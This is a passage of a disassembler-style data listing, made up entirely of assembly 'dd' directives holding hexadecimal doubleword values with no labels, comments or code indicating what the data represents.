0EF06B128h, 96CD29F0h, 0E9DA343Ah, 0A50AA9E2h dd 3CBC8D3Fh, 8CCE6DD5h, 0C1751EFCh, 0D0977527h, 93E426F6h dd 6FBBC10Eh, 75C31049h, 39368DC0h, 96F1ADAEh, 2AA1CE0Dh dd 0B8B0235Bh, 0FD603A71h, 0FBDA1B78h, 0E54965EEh, 5BC76843h dd 633BBBBh, 0AC7697D7h, 0E6614702h, 0E5B20E67h, 78FC9BA4h dd 4AB21087h, 0FB356B08h, 1EFB48Ah, 0ECC9EB68h, 71B0EECAh dd 0A58C4D55h, 0CCA72A6Dh, 4A5F97C7h, 865D884Fh, 2BE1F2C3h dd 5C45ADDBh, 3D872C4Eh, 23FF67EEh, 78724406h, 941C2E9Fh dd 6EF5365Ch, 0C8EFC104h, 0A598B36Ch, 0CD56F14Bh, 0D1B45611h dd 18A958E9h, 7A0363DCh, 0B9BA34A5h, 995C6600h, 24AE9936h dd 0F587738Ch, 68796889h, 0DFD51F58h, 255AC312h, 3EB5F1A8h dd 0A98FA677h, 37A5B42Bh, 0C9DB2473h, 0DCD1DBADh, 0A635FE2Eh dd 84985528h, 0F1C7F2BDh, 0CB0A2A8Fh, 3119EE7Bh, 0E828F4E9h dd 3A940E5Ch, 0A9EE6B52h, 94DA239Bh, 0E12319DAh, 0AE988303h dd 5F337FF2h, 0EB1ED5DEh, 0E30638A8h, 1FC59CD7h, 0ED6B689Bh dd 2A12DB77h, 341ED2C5h, 0A9C671D9h, 17F6AD1Fh, 91E85F4Ch dd 5AECFE96h, 0C1A9486Ah, 6473335Ch, 77A8870Fh, 0B79EDA7Ah dd 7DAEF2A6h, 0DE3DDF0Fh, 5BCE9A65h, 3426EF62h, 8E7FA580h dd 2AFE9AE5h, 9A86D353h, 0CEDD319Dh, 0F4BEB55h, 0DC1038BAh dd 38E51167h, 709E113Ch, 235A63EEh, 0A8AE9AEh, 0A59C600Dh dd 0E77C6EBh, 68E7E19Eh, 9A017E93h, 0E2EBD00Fh, 759B6F27h dd 54137842h, 0B5A3E5F9h, 961013F4h, 669D3936h, 10392E10h dd 73A8BE36h, 236A38Ah, 0FD698551h, 1296A77Fh, 9BD2A94Bh dd 5B995ADEh, 0D1AA4CCFh, 5736BB00h, 31939776h, 8635E121h dd 74D56E8Ah, 0E1FA15BBh, 0FE627194h, 6CB002C5h, 0DBF5BEB4h dd 2540C88Bh, 8C6C37D9h, 62ABE44Ch, 78A2810Ah, 8867F2E6h dd 0E193286Ch, 0F3354DC7h, 0EECDC560h, 27B076E6h, 0EEEB92B9h dd 575B69DCh, 0D35D2E3Ah, 2482FAB2h, 0EBA64444h, 97C75Bh dd 0E5F6DDDFh, 8F67B9EAh, 9BB5343Dh, 1AE19E83h, 0CC541CDAh dd 364806DDh, 0A4F51D3Fh, 73FE4A0Bh, 0E7DEA03Bh, 77CB7158h dd 3A6D0AE0h, 0BBFF1902h, 1508F8E0h, 0D2B706Dh, 0AE23987Bh dd 457DE18Eh, 0CF13686Ch, 0F296B186h, 0EB55A1D3h, 701D475Fh dd 1ECF3852h, 1EFB2785h, 9DE358C4h, 0C896C5EBh, 2442733Dh dd 0DB356756h, 0F9D123E1h, 0EB0DBEABh, 634F6AF6h, 389D08C6h dd 0B2AC727Dh, 8CE6C27Eh, 0B25C4112h, 4B76181Bh, 0AE702233h dd 6670D3F1h, 0B1098155h, 0D3C1580Ch, 0A47C4D9Ah, 0EEE8FE38h dd 636E6992h, 0CE61A7DFh, 9FA4068Ch, 69266CD8h, 537B10EAh dd 3F5C4A85h, 59042236h, 38A1A1CEh, 6F508E72h, 0CC5947B6h dd 15A54FBCh, 19FBBEF0h, 0A2D537CCh, 7C3B1AFBh, 56AFD68Ch dd 8439D65Dh, 0C1889104h, 646970EFh, 0E33A0D31h, 0BCB14C3Eh dd 0DEDC2507h, 0F5BDD4DCh, 0EA6D66DDh, 0D184124Bh, 61F3D9BEh dd 9C57B826h, 5AE13F6Eh, 0C4C61769h, 0DE39309Eh, 0B310BDF2h dd 0A6F04B3Bh, 0C7F7A8C4h, 2B8D81D7h, 94768A5Eh, 96E0AEA6h dd 4781191Eh, 8BFE6ED7h, 4168ADFBh, 0F7EB399Dh, 0DFB1B2Bh dd 4991FB6Dh, 815A7751h, 0AE75879Fh, 7A88BC60h, 681745Dh dd 8C9CA526h, 43888A6h, 0A51B0851h, 18ABBEF6h, 2134FCC9h dd 4CA8C74Dh, 5043D790h, 4FC3F5Ah, 0E64CDAFEh, 3F6EF8E1h dd 7799390Dh, 835750A0h, 0D7CBCB25h, 3992D1B0h, 0AC198767h dd 2474E56Dh, 3976B8Ch, 8FF9F226h, 1FA0C5D7h, 0C5903115h dd 1D0C0529h, 0BB9CD270h, 86F50414h, 72DEE842h, 3AE9B73Eh dd 18E9B8D1h, 54481886h, 0F15072D0h, 0F042545Ah, 14CC9DD2h dd 3FC46E0Fh, 8AEAD72Ah, 0EBDF129h, 9054DC57h, 9CFB8136h dd 88ECB13Ch, 1DA9DA56h, 0C7C58D92h, 643A7C03h, 980C9B9Ah dd 529ED9ABh, 5F49DD6Ch, 761089FDh, 9DF59C35h, 8630ED3Ch dd 237874C3h, 544D67C3h, 5EFCA26Ch, 846922C9h, 0D6307C70h dd 8C6179DBh, 5B68ED2Ah, 0D86AE3D0h, 324DE91Ah, 4D502325h dd 0CCC6E3DCh, 4DA2A72Ch, 0F5AAE5A1h, 4EA124Bh, 0CD45E7F8h dd 0CF172DFCh, 9EC790E3h, 0A0DAA75Eh, 38AECDA0h, 0BE4CB9D7h dd 0E6FEFF29h, 5EFB9D02h, 3DC2FB43h, 9E0E10A4h, 0ECD33994h dd 57F6F085h, 0C0E37643h, 0CD39890Eh, 0ACA5FB51h, 0EE7DD475h dd 0F63179C0h, 794E2AB9h, 2844EC90h, 1A1AEC6Dh, 4875DBC9h dd 6F6C2F06h, 1502FC12h, 80D4DBA9h, 0ADCF0B66h, 0E893CEFDh dd 2AA0D292h, 3ACB790Bh, 735F2222h, 0DA3038Ah, 9BB16CA9h dd 8C030037h, 4E20CD0Ah, 3CE87BD8h, 0A8692571h, 2648F59Ch dd 2DDE6854h, 5CE3999Ah, 0C50AFBEDh, 42C33FD5h, 6A6C631Ch dd 0D21C1CADh, 8DD9551h, 1AF07AF2h, 2EEB3738h, 0AE4E595Eh dd 0FCB1E0A8h, 683B60C5h, 5FC31DE5h, 0AD06B0E8h, 0DABDD827h dd 0DE5D36B6h, 0E1B209C6h, 2ADE3CFh, 2244A610h, 1D0FACA1h dd 0C2D45F2Bh, 664DC964h, 12FF88ECh, 0A492428Fh, 11B282CEh dd 2423A5ABh, 0F81CFB38h, 0D91418B7h, 0DF51291h, 4A3A5245h dd 1E9BE516h, 66629FFh, 1498096Eh, 6231FAABh, 353DEF07h dd 0C5567EB9h, 0F8E352A2h, 0FECE122Ch, 0AC42CD64h, 80627FDh dd 61FAC82Ch, 0FD90EE8Bh, 0E6542162h, 0E74A62C6h, 6A0C7F7Fh dd 8D57216Eh, 93D0F034h, 92460504h, 37E11318h, 8249D834h dd 0B2E030Fh, 72366D6Fh dd 0A3C74621h, 30AAAB58h, 0AF154F64h, 1847B850h, 45D658Bh dd 0ECC94A14h, 0ADA9E2DBh, 66BDD5A6h, 837E1ED1h, 3DCB2C01h dd 0E3019CF6h, 81A3DFEDh, 0FC8DEDA0h, 0AF99206Fh, 498116C8h dd 99908DF8h, 6DEBD77h, 3E8F74A7h, 8AED048Ch, 0E289A6A8h dd 5A8CA6D6h, 97B0D6EDh, 0D676FCC3h, 2318AE4h, 0A946DB1Dh dd 0FCCF1E16h, 0BDED426h, 0A02FC5A7h, 527C7AD2h, 0DE3BDFF6h dd 0D42BBD4Fh, 736DF83Dh, 379587ECh, 0EDD8A973h, 866C26ABh dd 0F3DC6F55h, 706E3D03h, 515585F8h, 137929A7h, 0B2EAE124h dd 183FE94Fh, 0C6CDFFD3h, 0CCD6CF3h, 50C33A17h, 478B951Eh dd 20BFFA30h, 6E0A9F1h, 4BDFBEC4h, 2225EF0Fh, 0F79CD15Eh dd 351BBFF9h, 24C52F87h, 0CB6983C3h, 4D1ACA84h, 2FDC9FAAh dd 8C4F5E4Eh, 0A21688E8h, 73570C77h, 45B2EF42h, 0E5DF0146h dd 0C24432DBh, 5B7A0FD1h, 1A413958h, 237FD610h, 63827B94h dd 4A7CD8F0h, 6DA89059h, 2F57BDA5h, 2E6D4ACDh, 1A867CDEh dd 0E542A4F6h, 9C9709D6h, 0FE50B8B7h, 4AC76352h, 56C7A934h dd 443D84C3h, 0BCF48915h, 0A241FA20h, 0E21FB009h, 9B8FD5E9h dd 149DEAEAh, 945106C7h, 4CD6B78Eh, 0ED071832h, 728EE152h dd 2E9DB303h, 0A37C9E34h, 22BB3D8Fh, 6FA9E695h, 14F731ABh dd 7769BE8Eh, 0EEAC4C97h, 5A74A5F8h, 3DD03853h, 9E8896BCh dd 0A7727388h, 0BAA1D22Fh, 7CEC17C4h, 0ED9DE104h, 103D6164h dd 5B95A63Eh, 0EEDBD18h, 7DE7BC8h, 75318C65h, 270CCB9Dh dd 0EE12FA34h, 0D9255718h, 0A245F013h, 0A7AE2790h, 1062982Fh dd 0F0E7145Ch, 4FBB65F7h, 18EB06E4h, 978E70F2h, 0B74BAF76h dd 655BA1F7h, 0BF353A17h, 0ED0D5A24h, 2B5FE3EEh, 7EFF4270h dd 3DFF027Bh, 0FC498DF8h, 409BED14h, 0FABD8835h, 0DF3862CCh dd 2B5456D4h, 62D33576h, 3B36F35Fh, 0F08EC3D9h, 954704DCh dd 1A9CCE56h, 28B65DADh, 0A0EF0C4Dh, 0FFEE44E1h, 0EC1F921Dh dd 486C7242h, 0D6B98E08h, 1E2EEBAEh, 8847AABFh, 3E03C474h dd 0F8AEFC19h, 47684621h, 0D1F2C9AFh, 23529D55h, 0D8891DA2h dd 348693ABh, 0E91113B9h, 58E57A21h, 3F8BB1C9h, 7F0EF745h dd 3DB285E6h, 5984A9D7h, 445C8F23h, 0A95F0E72h, 72A34853h dd 6DA01B9Dh, 1DE126D1h, 0B49D0CF1h, 831CD886h, 0F3D59FCCh dd 0DC791749h, 56A5BB57h, 0A5C1F164h, 0EF338F53h, 2DB3DEE5h dd 77FE9B9Bh, 0A8571135h, 9DBEA0AEh, 1A3FBA0Ch, 0A37FF3E6h dd 65D2D7FCh, 4DF83149h, 90DF2889h, 530E6CADh, 316E9268h dd 0FB7F88DFh, 5F335B8Ch, 6A13D17Ah, 0E31008D8h, 4E60956Ch dd 0B1154E9Fh, 0B8C2F11h, 9FE93040h, 0A0CA78BDh, 0EF8118A8h dd 0D35752F4h, 0E928C814h, 2809D817h, 5DA22F3Eh, 0D6428556h dd 87273E2Ah, 4D1EC728h, 0E1CEA33Eh, 0D2135E2h, 7D0968DAh dd 6DAF6B8Dh, 836B77Bh, 63478F00h, 7CE94DE9h, 0A6DEF436h dd 0CF0BF380h, 0EDED0395h, 1989BD28h, 4DE69090h, 4F1F73FCh dd 0A602C8E5h, 0E9D05AE8h, 4C0E794Bh, 0BA9C5336h, 85A862A6h dd 73C93311h, 0EF11F6B6h, 3A20CC97h, 4179B35Ch, 2BFE2BD1h dd 5840FC09h, 5418388Ah, 0B33573D3h, 0D05CD3F4h, 51468ABDh dd 9AD64C3h, 306E2AB9h, 9DBCA447h, 0C9665E8Ah, 0C788B576h dd 0DE1F3E6Eh, 8B83EE98h, 74DA74CBh, 2B2F8BD3h, 83FD87Dh dd 92A00B9Ch, 0B53740DAh, 0D48FB25h, 582BFC05h, 0AE9D32E5h dd 0D7726161h, 586FA4Eh, 0AAB0AE72h, 0BC1DAEA8h, 10608156h dd 4C43C110h, 2E6EF7E2h, 0D9D952FDh, 7BE6BDD9h, 11BB11F7h dd 0F6671BEDh, 0EF3200CBh, 7BCC9106h, 0A5AA5C08h, 86DBCBEAh dd 8086CBCh, 0A803D993h, 825A7C61h, 66273D91h, 5C8333CCh dd 58E2EBE1h, 591E3EF1h, 426204EFh, 4FDD12F9h, 0C2D5B1D4h dd 0A283B8A3h, 0D92032EFh, 0B13DB932h, 791B3967h, 0E6BA5A98h dd 2C25BABBh, 57BC7129h, 7DB915FAh, 0FB6F8E1Bh, 2F8F2957h dd 0ED213894h, 2B16A83Eh, 0A9FC08EAh, 0B278D09Dh, 7C159ED5h dd 56F2DB44h, 0E364E404h, 50E38E71h, 0D175CEF2h, 79B9A747h dd 25CE5D8Fh, 74B7FA47h, 0FF2D014Ah, 264C93E9h, 0A30AE37Ch dd 59B831D5h, 9A291F1Ch, 0CA2E23F4h, 17BEFA24h, 1AEE476Ah dd 0FF8BFC59h, 56EF1266h, 9DF82794h, 8132696Eh, 9A9E12ACh dd 55A2CF8Eh, 30C0BECCh, 7C5A6BE5h, 24907A99h, 0AA4E00F4h dd 0AE269A2Ah, 0EE197AC9h, 800F0E3Ch, 0D2ECD78Fh, 0A79706F7h dd 240CC5DBh, 317C4C53h, 22B67B03h, 0AE65B3B2h, 6D48D0F0h dd 0C2B8683Eh, 0A1AB5DAFh, 0A93D03B2h, 61310A7h, 4C31330Eh dd 758A889h, 0E36D0EC2h, 0AB39D3B7h, 9CB414E7h, 0FC933553h dd 0F2DE53D5h, 0B26D99F2h, 0BB170538h, 42B81A7Dh, 1DE98EB6h dd 45FEB687h, 0EA8595F1h, 119A0649h, 99B357F9h, 24C9648Fh dd 5EB09AB0h, 1D1CD6E4h, 5E2E1BA5h, 36393A12h, 0F8D5A49Eh dd 0A9BE7D0Bh, 0DBE8CE67h, 46E25AD8h, 10129AAEh, 0EE31FF01h dd 482A9BE7h, 86BD554Fh, 0D7D91512h, 3E3289F9h, 1C856D9Fh dd 961E7CD8h, 87237D1Fh, 0F5B52663h, 64BD7A7Ah, 0DDC72303h dd 869D31Fh, 1C6A685Ch, 3E6396B8h, 8F0FB0Ah, 457724B7h dd 4078FE47h, 0F639F7FBh, 0F9E6A1A5h, 67AC1825h, 0DF62B593h dd 0EED29D5Eh, 29D07CCEh, 22E6E4CAh, 27FE5739h, 94B341h dd 51940924h, 0A7EE9DAEh, 0D8946839h, 2573A58h, 6C2E73B9h dd 9CA21EACh, 0FD056E5h, 0B768714Dh, 2D938E38h, 5A82B899h dd 52B03B01h, 3BE596AEh, 0DFD815E3h, 4E3B33A1h, 5E4117DFh dd 6C539707h, 0C6407667h, 0CCCB0896h, 0E5DA66FCh, 2B652F53h dd 0DEB12BF6h, 8A374134h, 0B67D092Ah, 55738017h, 5D63EF0h dd 3C9041AAh, 6569FD1Fh, 594B57C9h, 15A7711Fh, 348DA892h dd 0ED75472Dh, 0A64D5101h, 255574CAh, 83CFACACh, 0C21F63AFh dd 1CD888BDh, 15061D4Ch, 6C8EC396h, 31FA43F7h, 1E339515h dd 5F20FB4Fh, 0F4AF6D9Bh, 0C6912A09h, 5780ABE5h, 0CAEB032Ah dd 635ADEA3h, 0AB8337F0h, 3B388BDCh, 0B9A92202h, 757ADA1Fh dd 0B791F1DFh, 0D45D5E82h, 1F1BEB1Ch, 0DEB2A725h, 0AE0ACB29h dd 0EF6B5005h, 0CA770493h, 6E9859D7h, 0EEEA0C4Eh, 0B57C52BAh dd 5E3EAB4Dh, 6B6F7F61h, 0AA3BBAF8h, 1557633Ah, 584CCC09h dd 279CEAFFh, 0B43CD78Bh, 89D8EFC8h, 0D2F5F81Ah, 94020681h dd 0EDE692C9h, 7F6EEE49h, 1D29A5FAh, 1ABDCFAAh, 0DE0A9A9Fh dd 4E0C32FEh, 0FAEC0953h, 1D43A16Bh, 907127DBh, 0C889D510h dd 0BE889E88h, 9B9D8D19h, 7BA40A62h, 5EBBE7C8h, 0F9405D4Eh dd 25F4EB37h, 0B16D267h, 480CAA3Ch, 95E1101Dh, 0E38EA8DDh dd 0CE0D613Eh, 9DFDBCA6h, 0BE236FA2h, 8470264Eh, 551B76ABh dd 0B2E70F31h, 0FF7967EEh, 240D923Bh, 0AAFCD426h, 3FCF7CBAh dd 8AB8F7F1h, 0A87CE9F1h, 5309D2D2h, 0DBD60422h, 0E302FC3h dd 0F49BFB0h, 0AF998669h, 13A4EA4Bh, 242D2206h, 0CAE708DCh dd 0FD4DF61Ah, 41860CB6h, 2B68B6A1h, 0C0770259h, 0B04C7506h dd 4F15DA4Fh, 519B3320h, 0E1EEEBD7h, 213BAD5h, 509DF76Ah dd 927A1A3Ah, 0EC605F70h, 0FD59A780h, 2565FFACh, 249C7E86h dd 0EE7E668Eh, 5809092Ch, 7BCCF772h, 0A5E82D3Ch, 0ABEC37AAh dd 0D4B2BA7Ch, 0E8600254h, 109867D3h, 0EBB52CFDh, 66D96F51h dd 1A99F57h, 87FC71F5h, 27E819Ah, 0B0F8A4ACh, 50614C8Eh dd 4A236208h, 0F8B5D55Eh, 7EFC4540h, 2A0AE604h, 0EEE9899Fh dd 8FEE2C17h, 0E0ECDD5Ch dd 0D941D5C2h, 23EC2D5Bh, 5EBD5A40h, 0B5995793h, 6C77D9E6h dd 3B7335A6h, 9D9B22B0h, 9A0715ECh, 0A6BCA0Fh, 48FE52C6h dd 66B7D28h, 50825A57h, 0FC3A1E6h, 0EA9B14E4h, 3125E873h dd 0BD437304h, 2F65BE2Dh, 9FF707D7h, 672B2135h, 19671145h dd 0D82C187Dh, 0FFD9571Eh, 33948C88h, 0E77F5F0Bh, 91EE878h dd 0A13684F6h, 0D011DFD1h, 7305BE44h, 36B1ABAAh, 0B432922Ah dd 3B05507Eh, 5DDD7C57h, 560C129Eh, 0FB7F8A4Bh, 42E2299Bh dd 43208CB8h, 366DE476h, 28EB6488h, 0EA4B6BB6h, 5FDE8C3Bh dd 0BDE622C3h, 0DFA8F264h, 10A75365h, 32AD1024h, 1F1E8915h dd 326292D1h, 9B11135Bh, 5730B26Bh, 0D5133276h, 0F39AB568h dd 0C92D7D2Ch, 0B2CB7122h, 15A3F487h, 0A0D9600Bh, 640E2455h dd 7CFD687Dh, 0A7E53BE2h, 3371DC10h, 0C026CC86h, 2587C302h dd 6FE40C9Dh, 1D99CE36h, 5F2AFE8Fh, 0A4A15BBh, 2E4CEAB4h dd 0DB2DA8CEh, 0C0AAC385h, 0DA727760h, 0BA899E81h, 48AA638Ah dd 408E6526h, 9B00C7D0h, 704BBD60h, 164608F6h, 7B5179F8h dd 0CA94DDF8h, 81F298B9h, 8454ED02h, 0C8515387h, 0CFE6B46Dh dd 43C32F39h, 0BFE57007h, 7E632853h, 8F27E33Fh, 0CBCC2FEBh dd 3EE129D5h, 4D462ADh, 4EF0AC3Fh, 9D9A0BD0h, 22049E5Ch dd 6A988A94h, 1EECED1Ah, 0A7C48035h, 5BF9643Eh, 0A709E832h dd 0BFF8DC38h, 34ECF3E8h, 0D4BEE6CEh, 0FFC3B243h, 0FE7DCC7Ah dd 3F5E60D6h, 13E02CCFh, 33254ACFh, 0FBAD8C4h, 7A5BDB5h dd 0E5ED5FE0h, 1A72B54Ch, 0FE692942h, 0EA2D5A34h, 7D01393Ch dd 0A6B82778h, 0A24EB035h, 7A5B1B28h, 23B10254h, 715F3254h dd 13A22C3Bh, 442D5FA0h, 32E38B06h, 5549B6E3h, 229F1EFh dd 47C93C13h, 46215F97h, 0CDD1C248h, 11BC0587h, 3709AECFh dd 9D6C35B0h, 57FA65Bh, 0D79D14E8h, 4F5FF028h, 7A41119Ch dd 30D10993h, 3AFCD308h, 5AC6316Ch, 0BCEC11Fh, 0EE2EA789h dd 3AF7A7FEh, 0F8EF7077h, 594DAF46h, 8C94D61Ch, 8FA6E789h dd 4282C5D0h, 0D1A11304h, 397DB208h, 9B6526E4h, 0F77E03CFh dd 9632963Bh, 648FC4FEh, 0DFCF559h, 0AC211182h, 0A88EDAEAh dd 2B82F4Bh, 0A31EED6Ch, 0B6F34D0Ah, 0E32AA08h, 0D5EF320Ch dd 14370589h, 1E591FCh, 6D362E27h, 0CF8AEC90h, 80BA6C83h dd 0D573716Eh, 958BF272h, 0ABBF8BC8h, 0C6744955h, 0DF795169h dd 8FFA12EEh, 46667D87h, 24C05E7Dh, 23A4A043h, 0E5572150h dd 0BF7E0D8Ah, 0E17403BEh, 0E28A0848h, 26F5CDC1h, 9B7B553h dd 0F819F7Fh, 6B04AED4h, 0D18F8DCAh, 0EC7426E8h, 585CAA92h dd 0FB0F6025h, 0A7DB5FD2h, 0C6DA7E51h, 71F5309h, 580909CEh dd 0E612E2F0h, 93987977h, 6D34B8C9h, 529B42CBh, 20A8B01Dh dd 30E31173h, 0A690FF0Bh, 0DCEC48C0h, 0CF20F994h, 84908A8Fh dd 366570Eh, 6A6097A9h, 88AD497Ah, 0CE54753Ah, 0EF36EB16h dd 0C1F3AAFh, 491E6BB5h, 0DAA97A1Bh, 0FD36627Ch, 9F4A3572h dd 48A69837h, 986A7C0Eh, 0BE2AA09h, 0C5D0C97h, 15B50F9Dh dd 59E8F6F0h, 0A21737E6h, 0B637F3FAh, 854807B2h, 4B1898C2h dd 7F8D7E59h, 5E48F54Ah, 260B76Dh, 0BEEA7A86h, 9F277F7Ah dd 60B4A755h, 0B8092159h, 40C9CA0h, 22896C9Ch, 3E340C92h dd 54FDB9Dh, 13522DFEh, 7EC64F6Ah, 56B94597h, 0B889329Ah dd 492AE35Bh, 0F2DF9842h, 0F4B15F17h, 0AB8C3526h, 0C08DA98Ch dd 865DB548h, 1306F51Ch, 0FD18A3DCh, 0D6B6CB42h, 0C05A2F20h dd 0B22DC6FBh, 0BFCD9BD7h, 95846CCAh, 0E1BC80FCh, 0CF0C5BC0h dd 8A95C24Ah, 5BD25D52h, 53785524h, 317F93h, 44DFEDB6h dd 0AAF2931Bh, 498C938Eh, 78654967h, 4FF99956h, 575128A5h dd 0AA69F8B2h, 0ADC4854Ah, 0AAE4074Eh, 0C49BC498h, 0B96597DAh dd 0AF7B504Ah, 0A9DBF043h, 0C7BB663Eh, 9D89254Dh, 7712FF7Ah dd 0E22CF322h, 1CE9D2BAh, 0C947A8DEh, 8B0664F6h, 6118BEAFh dd 0AC3C1333h, 0D707243Dh, 0C62CF05Dh, 9F30BEDDh, 58A1D6AEh dd 0FB22D43h, 4A51EEFFh, 0E0E83C1Fh, 0E7E85CDFh, 553F37CBh dd 0E6A536C8h, 0A908EAFDh, 0B1BDA340h, 0E6F9C8A8h, 8E55991Fh dd 4A895328h, 0FCA757DFh, 2CE252F9h, 0FCFC393Eh, 0FBEB2B4Dh dd 0DD0AC4D6h, 4A6BF0F8h, 91EE2F0Ch, 0FF6BB884h, 7C304D9Ch dd 37D2CC3Ah, 51C9155Fh, 0B086BA2Fh, 0CAE6A65Bh, 328978CFh dd 694589D8h, 0D8A7AC9Ch, 766FE111h, 0F6DD1C81h, 0C2E9180Fh dd 0A9DE1DC7h, 0E25EDEB7h, 936A5D1Dh, 0CE13EA5Ch, 6BBF8369h dd 0AEAE35ABh, 0FEE360ABh, 87023752h, 1E0810Ah, 0BB6BCC8Ch dd 0EFC4D495h, 2531F7Bh, 53D511C0h, 0CBB25FEBh, 0BAFDCBE8h dd 16D28DC1h, 88EDB70Ah, 1B628BECh, 375E5C4Ch, 78CE806Eh dd 8E149446h, 3852B5CBh, 345BE440h, 5565C5ACh, 0CE72FD1Eh dd 4C5CF641h, 16E55C9Fh, 7AEF18EFh, 0A664AFCBh, 413D88FAh dd 0BCADDF8Dh, 0EBC2057Dh, 687C8217h, 0DE928600h, 48A1B2D1h dd 0A212059Fh, 63B81A7Bh, 23ED80D6h, 4CBF3C3Fh, 7C5207B4h dd 7122048Dh, 0E75CDC0h, 12A09D4Ah, 5915CB2Fh, 56E1002Ah dd 29600B56h, 3B5134E7h, 3938ADF1h, 29364F3h, 0E3163540h dd 0A148507Eh, 1E60C615h, 9554597Eh, 0D6E9132Dh, 9DA4512Ah dd 80BB29AAh, 0FDF3FE62h, 8DDE753Ah, 5102DDF9h, 0D73ED511h dd 781F8C30h, 642B83B1h, 37EA3AD4h, 27D1680Eh, 8A4FA491h dd 0A60C005Fh, 6B6D271Ch, 0B2C8CFC2h, 7EB9BD46h, 0EE66AF54h dd 0BCD40766h, 0E4103BE5h, 7C23FAC2h, 0BFE9CC61h, 4D098F7Bh dd 0B52643F5h, 5DF72C7h, 4BBF73F5h, 0ED4AECBBh, 8A7ADBC3h dd 78B6D27h, 26F012C5h, 330B822h, 353701AFh, 0B6BB758h dd 0A921A017h, 0E9738BBCh, 0A3B33EA1h, 0FFD14B6Bh, 484F0D09h dd 0F92973C2h, 64982E99h, 1093C081h, 46F2CB46h, 0CCFA1F5Eh dd 0A80E54BBh, 363E6A84h, 265FB57Eh, 3564C3F3h, 0A55FD3BAh dd 3C516C06h, 629961Dh, 560ABB1h, 9BF851E9h, 4A58F711h dd 29E8FAB3h, 57E987EAh, 0CD11AE14h, 4F332F49h, 0FE861FC4h dd 0E15CB14Eh, 0D99D9D2h, 0B09FDF7h, 0D9BDE1AAh, 0B113D05Ch dd 0D7C208BEh, 9632EAF5h, 3234EA08h, 6B0FE0B2h, 1ECE4EDAh dd 5A542974h, 0A4C9DDE7h, 0DE8E0210h, 0F3D51808h, 52978EB3h dd 49DAB0E7h, 7263B6B6h, 71120C8h, 98BE8EC9h, 82F7E3CEh dd 397F3A30h, 2CA7EF53h, 1C59B0B0h, 4FE6C7B0h, 0F1C1BDE1h dd 0BAB17675h, 290EA207h, 0AD7DBFF3h, 0E26E28C2h, 0F1FAF52Eh dd 0E461CDEh, 883D463Ch, 13425834h, 0E21AA3E4h, 0F05263A8h dd 0B4E6B23Ch, 14511236h, 996ECF40h, 0B16D2372h, 0F58B4A7Ch dd 4E1FFED8h, 34285DD0h, 26AD10A1h, 5095C623h, 97F79596h dd 0AC41A320h, 0EE444E9Dh, 0D16C93F8h, 12205F5Eh, 0E9B8519Fh dd 0F9C20639h, 8DF2A044h, 81F2AF12h, 1BD3C453h, 16A016F5h dd 1DE8FBBAh, 359A89A9h, 0CA131703h, 0F780DC07h, 0FE58CEE2h dd 0E98CB18Dh, 4DD1AD5Bh, 0F8F0EB1Eh, 500B21AEh, 0A2124D20h dd 195DE33Fh, 78FA259Fh, 0BCC31B38h, 1D247405h, 0E5C840CCh dd 0B6BFFDBBh, 36BB96CBh, 6F2AFCD0h, 92C64997h, 2BE579FBh dd 9CA96DAAh, 0C27334B0h, 3330AD41h, 0CD57F1B9h, 75BE2D86h dd 0C8C7EF84h, 0D57860C7h, 0D198A23Fh, 54447CEEh, 9FEE323h dd 4EF73E16h, 0A9535321h, 0F888F50Bh, 51361E2Dh, 7E0E999h dd 155FA76Fh, 17E7AB55h, 0B6C3EF92h, 35DD1148h, 896B7848h dd 8ECFBE39h, 812DC72Fh dd 1CA14906h, 654CCC43h, 0A890B11Ch, 1646C58Fh, 0A904876Bh dd 0AEB68DEBh, 77A9EC7Fh, 924C8E5Bh, 0B8107C3Ch, 942A95E5h dd 41C1346Ah, 3137194Fh, 26124216h, 290E3DF7h, 0EE8FB81h dd 8C086C01h, 14984CBAh, 0A2E94276h, 0AC68F84Fh, 0CC145AA1h dd 5F996A5h, 0D6FF19Ch, 0FE967168h, 0B4CA9F4Ah, 75637A4Eh dd 0CD80775Ah, 739723D3h, 9BD0608Dh, 0A832A242h, 0A5E2F124h dd 3C723993h, 0D444917Ah, 0F1A0F962h, 2C5951AAh, 2063EAEAh dd 30BC8D78h, 0A7B08C65h, 821E4514h, 385EDE73h, 62D994CFh dd 7D84DCD5h, 0C3E13747h, 6D3D6908h, 0FDA6BEADh, 0C5E1010Ah dd 777383A0h, 7DC807E7h, 67D079BBh, 0D53F3866h, 0D9FE61CCh dd 0A401B488h, 0C46264D3h, 4C90360Ah, 0A0F6CB32h, 6276794Bh dd 990E6FFEh, 704B1790h, 61208BCCh, 5B754BFFh, 82668B3Fh dd 732C0B05h, 3888BB8h, 0AD402243h, 6A81C922h, 2B3D71CAh dd 5A2A396Ah, 9AFFE2FDh, 0D3445FD7h, 7D2F9C64h, 8D1638AAh dd 0D996EE2Eh, 9053D99Dh, 0B2E1E538h, 0F7F38D85h, 8BB45B96h dd 9F619D1Ch, 0DF708548h, 270EBABDh, 0CF6A811Bh, 7340A16Ch dd 793CFD12h, 53D337ECh, 0D77FB3FCh, 0A91396F5h, 88DC8FEh dd 847B9484h, 0A498A022h, 509AA451h, 0E0B1A424h, 0A19665D5h dd 67702038h, 0BC0B2775h, 4176925Ah, 51E7F8CFh, 74320931h dd 2253F79h, 542FFD40h, 125F478Eh, 0D09069B0h, 65DC1C6Eh dd 0C946EC1Ah, 23F9BBF9h, 5BBB2CDEh, 3F2030B4h, 12BB66F5h dd 0B9D4521Bh, 36791E2Ah, 0A3916DCFh, 0A187BC1Bh, 9D7B60AEh dd 375FB115h, 0C80D78B0h, 337DD731h, 4F4AE8A2h, 0F61E2C58h dd 108A3B38h, 6217D1E4h, 584F302Bh, 23911A98h, 676E2CB6h dd 18A22F37h, 0BBF01FFDh, 0AA981D57h, 0CD59EEF9h, 0A21D8530h dd 0C25ED50Bh, 0BE710875h, 608B739Dh, 75F77980h, 0F323D670h dd 7B98294h, 27BB4F51h, 19001342h, 945430DBh, 7239EF53h dd 0AD69B2F7h, 0F162D521h, 2DBAF68Ah, 171360B6h, 0FEF2313Ch dd 53854B2Bh, 0B93CCC5Fh, 5B39E04Ah, 2D587502h, 6EB860CCh dd 692CF0AFh, 0D4110141h, 8845EA6h, 0F9C15B2Bh, 3CCDBAC8h dd 649B0175h, 103B3E73h, 0C8E84369h, 49625763h, 995770B7h dd 0A0B69BE7h, 600EA68Ch, 40946F48h, 69986F2Ah, 1F25E4DCh dd 0E6FDB064h, 0D0612A95h, 3175C97Ch, 0E828AF2Ch, 10E47625h dd 0D35A73C2h, 0BBA04680h, 0A6D8E586h, 10728BD9h, 9BD146D1h dd 0AB84168Bh, 